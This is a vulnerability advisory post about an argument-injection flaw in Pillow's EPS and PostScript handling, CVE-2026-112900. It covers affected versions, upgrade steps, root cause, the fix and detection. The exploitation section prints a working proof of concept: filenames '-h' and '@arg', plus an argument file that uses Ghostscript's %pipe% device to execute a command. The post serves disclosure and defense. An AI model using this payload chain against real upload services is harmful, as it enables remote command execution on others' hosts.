Pillow Ghostscript Argument Injection RCE (CVE-2026-112900)
Pillow 2.6.0 to 12.3.0 passes an attacker-controlled EPS or PostScript filename to Ghostscript unsanitized, allowing argument injection and command execution; fixed in 13.0.0.
TL;DR
- CVE-2026-112900 is an argument injection in
PIL.EpsImagePlugin.Ghostscript(). Pillow passes the caller-controlled filename of an EPS or PostScript file to Ghostscript unchecked at the-fposition, so a name beginning with-or@is parsed as an option or argument-file token instead of a filename. - The GitHub advisory review rates it Critical (CVSS v4.0 9.2). Pillow's own advisory rates it Moderate, because the attacker must control the filename.
- Every Pillow release from 2.6.0 (October 2014) up to and including 12.3.0 is affected. The only fixed version is 13.0.0, released October 16, 2026.
- The reporter, Chanu Kang of CysecLab at KAIST, verified command execution (
idruns) on Pillow 12.3.0 with Ghostscript 10.02.1 and 10.07.1, under Pillow's default-dSAFERsetting; the proof of concept is published in the advisory. - CISA's record marks no known exploitation, and no attacks in the wild have been reported.
- Upgrade to Pillow 13.0.0 everywhere, rebuild images that pin an older copy, and keep the
gsbinary off any host that opens untrusted images.
Am I affected?
You are affected if all of these hold:
- You run Pillow 2.6.0 through 12.3.0 anywhere that processes images: a web upload endpoint, an avatar or thumbnail service, a document or PDF pipeline, a machine-learning preprocessing step.
- Your code calls
Image.open()(orImage.open(...).load()) on EPS or PostScript (PS) files, or on a whole upload directory where a file could be one of those formats, and the filename can be influenced by the person who supplied the file. Upload endpoints that keep, derive or build the stored filename from user input are the realistic target. - The Ghostscript binary (
gs) is installed on that host, because Pillow shells out to it to render EPS and PS at all.
| Software | Affected versions | Fixed version |
|---|---|---|
Pillow (PyPI package pillow) |
2.6.0 through 12.3.0, every release since October 2014 | 13.0.0 (October 16, 2026) |
| Pillow 12.x backports | none exist | move to 13.0.0 |
Check what is installed, in the environments that handle uploads and in container images:
python -m pip show pillow | grep -E '^(Name|Version)' # Name: pillow, Version: 12.3.0 means affected
python -c "import PIL; print(PIL.__version__)"
grep -inE 'pillow' requirements*.txt Pipfile.lock pyproject.toml poetry.lock 2>/dev/null # any pillow line: requirements, PEP 621 or Poetry pyproject, lockfiles
docker run --rm your-image python -m pip show pillow | grep Version
command -v gs && gs --version # Ghostscript presence on the image host
The PostScript content of the file does not matter for this flaw: the trigger is the filename, and a completely benign EPS or PS file still causes the injection when its name is attacker-influenced.
Pillow is downloaded about 143.4 million times a week on PyPI, so a large share of Python build and service images may carry an affected Pillow version.
How do I fix it?
Upgrade to Pillow 13.0.0 and rebuild anything that bundles an older copy:
python -m pip install --upgrade "Pillow==13.0.0"
Then rebuild container and base images that carry an older Pillow, and rebuild any of your own wheels that bundle it, because upgrading the requirement does not change what is already baked into an image. Note that 13.0.0 drops support for Python 3.10, so environments still on 3.10 need Python 3.11 or newer first.
If you cannot upgrade today, two measures cut the exposure, with limits stated plainly:
- Remove the
gsbinary from hosts that open untrusted images. Without Ghostscript, Pillow cannot render EPS or PS at all, so the vulnerable code path never runs. This closes this issue but also disables EPS and PS processing, which for most services is acceptable. - Never pass an attacker-influenced filename to
Image.open()for EPS or PS. Generate your own stored filenames (a UUID, a database key) at upload time, or copy the upload to a server-chosen path before opening it. This removes the precondition of the attack, but it depends on every code path obeying the rule, which is why the fix belongs in Pillow.
What is the root cause?
Pillow builds a Ghostscript command line using the caller-controlled filename as-is, so a filename Ghostscript treats specially (a leading - option or a leading @ argument-file token) is parsed as such.
When Pillow renders an EPS or PostScript file (both formats are handled by EpsImagePlugin), Ghostscript() in src/PIL/EpsImagePlugin.py assembles the command and spawns the subprocess. The vulnerable code, quoted from the advisory:
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
# ... size and resolution options ...
"-dSAFER", # default sandbox; does NOT stop this injection
"-sDEVICE={device}",
"-sOutputFile={outfile}",
"-c",
"...",
"-f",
infile, # injected here: no check for a leading "-" (or "--") or "@"
"-c",
"showpage",
]
subprocess.check_call(command, ...)
fp.name is whatever name the file was opened with, including a name an uploader chose. If the file object has no name on disk, the else branch creates a safe tempfile.mkstemp() path. That is why only the first branch is vulnerable.
The infile value is then placed directly after -f in the argument list. There is no normalization and no check for the two prefixes Ghostscript's argument parser treats specially.
Ghostscript reads a leading - (including the -- form the advisory names) as an option, and a leading @ as an argument-file token: @arg tells Ghostscript to read further command-line arguments from the file named arg. The -dSAFER sandbox constrains what PostScript can do, not how the command line is parsed, so it does not intervene.
How is it exploited?
The exploit is the filename. Name the file -h and Image.open() turns it into gs ... -f -h. Name it @arg and Ghostscript reads more arguments from the attacker's arg file.
The reporter's full proof of concept is in the advisory, trimmed here to the parts that explain the bug. The argument-injection step needs only a filename:
name = "-h" # the attacker's chosen filename
with open(name, "wb") as f:
f.write(EPS) # a completely benign EPS document
im = Image.open(name)
im.load() # Ghostscript runs with "-f -h" and prints its help
A file named -h turns into gs ... -f -h, and Ghostscript prints its help text instead of rendering: proof that the name reached the argument parser. Chaining to command execution needs the @ form and a second file the attacker also controls:
name = "@arg" # Ghostscript reads its arguments from the file "arg"
with open(name, "wb") as f:
f.write(EPS)
im = Image.open(name)
im.load()
The arg file holds Ghostscript arguments of the attacker's choice:
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
The @arg filename makes Ghostscript read additional command-line arguments from arg and add them to its command line. The %pipe% output device makes Ghostscript run /bin/id and write Ghostscript's rendered output into that process, so the command executes. The uid= line that id prints is the proof of execution.
The reporter verified execution of id under Pillow's default invocation (-dSAFER enabled) on Pillow 12.3.0 with Ghostscript 10.02.1 and again with Ghostscript 10.07.1.
A plain -h always succeeds as a single-argument injection; the RCE form needs the attacker to also control the contents of the referenced text file, which on an upload endpoint means a second uploaded file.
How does the attack flow?
The chain runs from an upload whose name the attacker controls to a shell command running as the image service's user.
named @arg plus a second file arg"] --> B["Image.open() reaches
EpsImagePlugin.Ghostscript()"] B --> C["Command list built with
-f followed by the raw name"] C --> D["Ghostscript parses @arg
as an argument-file token"] D --> E["Arguments from the attacker's
second file join the command line"] E --> F["%pipe% runs the command
as the service user"]
In text form:
- The attacker uploads a benign EPS file named
@argand a second file namedarg. Image.open()reachesEpsImagePlugin.Ghostscript(), which places the raw filename right after-f.- Ghostscript parses
@argas an argument-file token and adds the arguments fromargto its command line. - The injected
%pipe%output device runs the attacker's command as the service user.
What can an attacker do?
An attacker who controls a filename that reaches Image.open() for an EPS or PS file on a host with gs installed can:
- Inject any single Ghostscript command-line argument, which always succeeds and can change rendering behavior, redirect output, or crash the process.
- Achieve arbitrary command execution with the privileges of the Python process, when they also control the contents of a second file they reference with the
@nameform. The reporter demonstrated this runningid.
The advisory and its PoC establish four conditions:
- No authentication beyond whatever the application requires to accept a file.
- A stored filename that preserves an attacker-chosen leading
-or@. gspresent on the host.- For command execution rather than argument injection, a second file the attacker controls.
The impact does not depend on the PostScript content, so scanning uploads for malicious EPS content does not address it.
Why does the fix work?
The fix, commit a2c363141 (pull request #10090, merged October 1, 2026), normalizes the path before it reaches the argument list:
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
- infile = fp.name
+ # Make the path absolute so that a filename beginning with "-" or "@"
+ # can never be interpreted by Ghostscript's argument parser
+ # as an option or an @-file token
+ infile = os.path.abspath(fp.name)
else:
in_fd, infile_temp = tempfile.mkstemp()
os.path.abspath() returns a path that starts with a path separator (or a drive letter on Windows), so the string handed to Ghostscript can no longer begin with - or @, and both special forms become ordinary file names. The tempfile branch was already safe.
The fix is complete for the -f position that carried the bug, and it adds a regression test (test_filename_not_parsed_as_ghostscript_argument) that renders a file named -h and asserts the image decodes instead of the help text appearing.
How do I check if I was compromised?
No indicators of compromise are published for this flaw, and CISA's record for the CVE marks exploitation as none. Until that changes, look for the general signals the flaw would leave:
- Ghostscript (
gs) processes on hosts whose only image work is Pillow-driven. - Filenames beginning with
-or@in upload storage. - Unexpected outbound or file activity on the image-service account around image-processing requests.
If you find such a filename that predates your upgrade, treat the host as potentially compromised and rotate every credential, token and secret reachable from that host.
Timeline
- 2026-10-01: Pillow merges the fix, commit
a2c363141, transforming the EPS input name to an absolute path. - 2026-10-16: Pillow 13.0.0 is released with the fix and a regression test.
- 2026-10-21: the advisory GHSA-w889-685w-c8fh and the CVE-2026-112900 record are published, with the proof of concept and the verified command execution.
- 2026-10-26: this post.
FAQ
Do I need Ghostscript installed to be affected?
Yes, for this flaw. Pillow invokes Ghostscript when it renders an EPS or PostScript (PS) file, so a host without the gs binary never reaches the vulnerable command construction, for either format. Removing gs closes this exposure at the cost of losing EPS and PS support.
Does Pillow's -dSAFER setting protect me?
No. The reporter's command-execution PoC reproduces under Pillow's default invocation, which includes -dSAFER, on Ghostscript 10.02.1 and 10.07.1. The injection happens in how the command line is parsed, before the sandbox governs what the document may do.
Is a malicious EPS image itself the danger here?
Not for this CVE. The flaw is in the filename, not the PostScript content, which is why the advisory distinguishes it from Pillow's documented guidance to treat untrusted EPS content carefully. Content-side image bugs are separate issues, and the same 13.0.0 release fixes several of those, including the FlashPix heap overflow in CVE-2026-112398.
Why does GitHub rate it 9.2 Critical while Pillow says Moderate?
The GitHub advisory review scores the worst realistic case, an upload endpoint that preserves attacker filenames on a host with Ghostscript, at CVSS v4.0 9.2; Pillow's advisory page rates the issue Moderate because the attack requires influence over the filename, a precondition not every deployment has. The ratings reflect their sources. Your actual exposure depends on whether your upload handling preserves attacker-chosen filenames.
Will upgrading break my Python 3.10 environment?
It can: Pillow 13.0.0 drops support for Python 3.10, so those environments need Python 3.11 or newer first. There is no 12.x backport of this fix, so Python 3.10 deployments must move Python versions or, until they do, remove the gs binary and stop passing attacker-influenced filenames to Image.open().
What other flaws does Pillow 13.0.0 fix?
They are separate flaws with separate conditions, all closed by the same release: CVE-2026-112398 (FlashPix JPEG-tile heap overflow), CVE-2026-112393 (TIFF in-memory save overflow, present since 2013, with a public proof of concept) and CVE-2026-112403 (lossless JPEG thumbnail overflow). Upgrading to 13.0.0 addresses the whole batch at once.
Where is Pillow still pinned below 13.0.0?
Scan your repositories, container images and internet-facing services with Ostorlab to surface every deployment still pinning Pillow below 13.0.0 and every host where gs sits next to an untrusted upload path.
References
- GHSA-w889-685w-c8fh, the Pillow advisory with the root cause, the PoC (poc.py, poc-rce.py and the arg file) and the verified RCE, published October 21, 2026, rated Moderate on the vendor page and Critical by the GitHub advisory review: https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh (checked October 26, 2026)
- CVE-2026-112900 record, GitHub-rated CVSS v4.0 9.2, CWE-78 and CWE-88, CISA ADP marking exploitation as none: https://cveawg.mitre.org/api/cve/CVE-2026-112900 (checked October 26, 2026)
- Fix commit a2c363141, "Transform EPS file name to an absolute path before invoking Ghostscript", PR #10090: https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9 (checked October 26, 2026)
- Pillow 13.0.0 release, October 16, 2026, which drops Python 3.10 and fixes the companion image flaws: https://github.com/python-pillow/Pillow/releases/tag/13.0.0 (checked October 26, 2026)
- Companion advisories in the same release, CVE-2026-112398 FlashPix (https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h), CVE-2026-112393 TIFF (https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf) and CVE-2026-112403 JPEG thumbnail (https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782) (checked October 26, 2026)
- PyPI download statistics for pillow, about 143.4 million a week: https://pypistats.org/api/packages/pillow/recent (checked October 26, 2026)
- The Hacker News on the flaw and the batch of Pillow fixes, October 23, 2026: https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html (checked October 26, 2026)